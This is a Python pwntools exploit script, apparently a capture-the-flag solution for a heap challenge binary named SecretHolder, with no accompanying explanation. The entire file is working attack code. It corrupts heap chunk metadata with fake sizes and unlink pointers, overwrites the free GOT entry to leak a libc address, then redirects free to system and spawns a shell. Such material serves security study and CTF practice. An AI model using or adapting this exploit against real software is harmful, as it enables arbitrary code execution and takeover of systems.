from pwn import * context.log_level = 'debug' def New(p, type, content): p.recvuntil('3. Renew secret\n') p.send('1\n') p.recvuntil('3. Huge secret\n') p.send(str(type) + '\n') p.recvuntil('Tell me your secret: \n') p.send(content) def Wipe(p, type): p.recvuntil('3. Renew secret\n') p.send('2\n') p.recvuntil('3. Huge secret\n') p.send(str(type) + '\n') def ReNew(p, type, content): p.recvuntil('3. Renew secret\n') p.send('3\n') p.recvuntil('3. Huge secret\n') p.send(str(type) + '\n') p.recvuntil('Tell me your secret: \n') p.send(content) p = process('./SecretHolder') elf = ELF('./SecretHolder') libc = ELF('./local.libc') read_got = elf.got['read'] free_got = elf.got['free'] puts_plt = elf.plt['puts'] offset_read = libc.symbols['read'] offset_system = libc.symbols['system'] New(p, 3, 'A' * 8) Wipe(p, 3) New(p, 1, 'B' * 8) Wipe(p, 1) New(p, 3, 'A' * 8) Wipe(p, 1) New(p, 1, 'A' * 8) New(p, 2, 'B' * 8) payload = '' payload += 'A' * 0x20 payload += p64(0x00) payload += p64(0x31) payload += 'A' * 0x20 payload += p64(0x00) payload += p64(0x081021) ReNew(p, 3, payload) Wipe(p, 1) Wipe(p, 2) New(p, 1, 'A' * 0x08) New(p, 2, 'B' * 0x08) ptr = 0x6020b0 fake_fd = ptr - 0x18 fake_bk = fake_fd + 0x08 payload = '' payload += '\x00' * 0x30 payload += p64(0x00) payload += p64(0xfa1) payload += p64(fake_fd) payload += p64(fake_bk) payload += '\x00' * 0xf80 payload += p64(0xf80 + 0x20) payload += p64(0xfb0) ReNew(p, 3, payload) Wipe(p, 2) payload = '' payload += '\x00' * 0x10 payload += p64(read_got) payload += p64(free_got) ReNew(p, 1, payload) ReNew(p, 1, p64(puts_plt)) Wipe(p, 3) read_addr = u64(p.recvuntil('\n1. Keep secret', drop = True).ljust(0x08, '\x00')) log.info('read() addr:' + hex(read_addr)) libc_base = read_addr - offset_read system_addr = libc_base + offset_system ReNew(p, 1, p64(system_addr)) New(p, 2, '/bin/sh') Wipe(p, 2) p.interactive()
|